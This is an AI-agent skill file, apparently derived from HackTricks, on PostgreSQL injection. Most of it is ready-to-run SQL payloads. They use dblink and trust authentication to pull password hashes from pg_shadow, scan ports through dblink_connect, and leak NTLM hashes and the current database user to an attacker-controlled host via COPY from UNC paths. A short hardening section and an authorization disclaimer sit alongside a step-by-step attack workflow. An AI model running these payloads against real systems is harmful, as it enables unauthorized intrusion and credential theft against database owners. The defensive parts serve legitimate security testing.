Hacktricks-skills postgresql-injection-attacks

PostgreSQL injection attack techniques for authorized security testing. Use this skill whenever the user mentions PostgreSQL, SQL injection, database security testing, privilege escalation through databases, port scanning from SQL, NTLM hash extraction, or any PostgreSQL-related security assessment. Trigger for pentesting, red teaming, or security research involving PostgreSQL databases.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure/SKILL.MD
source content

PostgreSQL Injection Attacks

A skill for understanding and testing PostgreSQL injection vulnerabilities during authorized security assessments.

Overview

PostgreSQL injection attacks can lead to privilege escalation, network reconnaissance, and credential disclosure. This skill covers techniques using the

dblink
extension and other PostgreSQL features.

Important: Only use these techniques on systems you own or have explicit authorization to test.

Prerequisites

  • SQL injection vulnerability in a PostgreSQL database
  • Ability to execute arbitrary SQL commands
  • PostgreSQL 9.1+ (for extension support)

Core Techniques

1. Privilege Escalation via dblink

The

dblink
extension allows connections to other PostgreSQL instances. Misconfigured
pg_hba.conf
files can enable privilege escalation.

Check for dblink availability

SELECT * FROM pg_extension WHERE extname = 'dblink';

Install dblink if available

CREATE EXTENSION dblink;

Exploit trust authentication

If

pg_hba.conf
contains:

local    all    all    trust

or

host    all     all     127.0.0.1/32    trust

You can connect as any user without a password:

-- List all databases
SELECT * FROM dblink(
  'host=127.0.0.1 user=postgres dbname=postgres',
  'SELECT datname FROM pg_database'
) RETURNS (result TEXT);

-- Extract user credentials from pg_shadow
SELECT * FROM dblink(
  'host=127.0.0.1 user=postgres dbname=postgres',
  'SELECT usename, passwd FROM pg_shadow'
) RETURNS (result1 TEXT, result2 TEXT);

Why this works: The

trust
authentication method bypasses password verification, allowing any connection to authenticate as any user.

2. Port Scanning via dblink_connect

Use

dblink_connect
or
dblink_connect_u
to probe network ports from within the database.

Basic port scan

SELECT dblink_connect(
  'host=<target-ip> port=<port> user=test password=test dbname=test connect_timeout=5'
);

Response interpretation

ResponseMeaning
Connection refused
Port closed
timeout expired
Port filtered or no response
invalid response to SSL negotiation
Service responding (likely HTTPS)
SuccessPostgreSQL service on that port

Non-superuser variant

If

dblink_connect
fails due to permissions, try:

SELECT dblink_connect_u(
  'host=<target-ip> port=<port> user=test password=test dbname=test connect_timeout=5'
);

Why this works:

dblink_connect_u
allows non-superusers to connect using any authentication method, making it more accessible in restricted environments.

3. NTLM Hash Disclosure via UNC Paths

PostgreSQL's

COPY
command can be abused to send NTLM authentication requests to attacker-controlled servers.

Basic hash leak

CREATE TABLE test();
COPY test FROM E'\\\\<attacker-ip>\\<share-name>\\<filename>.txt';

Dynamic username extraction

Extract the current database user and send to a collaborator:

CREATE TABLE test(retval text);

CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
  SELECT INTO userval (SELECT current_user);
  sqlstring := E'COPY test(retval) FROM E''\\\\\\\\'||userval||E'.<collaborator-domain>\\\\test.txt''';
  EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT testfunc();

Why this works: When PostgreSQL attempts to read from a UNC path, it sends an NTLM authentication request containing the user's credentials to the specified server.

Detection and Defense

Detecting misconfigurations

  1. Check pg_hba.conf:

    grep -E "trust|ident" /etc/postgresql/*/main/pg_hba.conf
    
  2. Review extension permissions:

    SELECT * FROM pg_extension;
    SELECT * FROM pg_roles WHERE rolcanlogin = true;
    

Hardening recommendations

  1. Never use
    trust
    authentication
    in production
  2. Restrict extension creation to superusers only
  3. Use network segmentation to limit database access
  4. Monitor for unusual dblink usage
  5. Disable COPY from external sources when not needed

Testing Workflow

  1. Confirm SQL injection - Verify you can execute arbitrary SQL
  2. Check PostgreSQL version - Ensure 9.1+ for extension support
  3. Test dblink availability - Try to create or use the extension
  4. Attempt privilege escalation - If trust auth is configured
  5. Network reconnaissance - Use dblink_connect for port scanning
  6. Credential extraction - Try NTLM hash disclosure if network allows

Common Error Messages

ErrorCauseSolution
extension "dblink" does not exist
Extension not installedTry
CREATE EXTENSION dblink;
permission denied for extension dblink
Insufficient privilegesUse
dblink_connect_u
or escalate
could not establish connection
Network issue or wrong portVerify target is reachable
timeout expired
Port filtered or firewallTry different ports or timeout value

References

Legal Notice

These techniques are for authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain written permission before testing any system you do not own.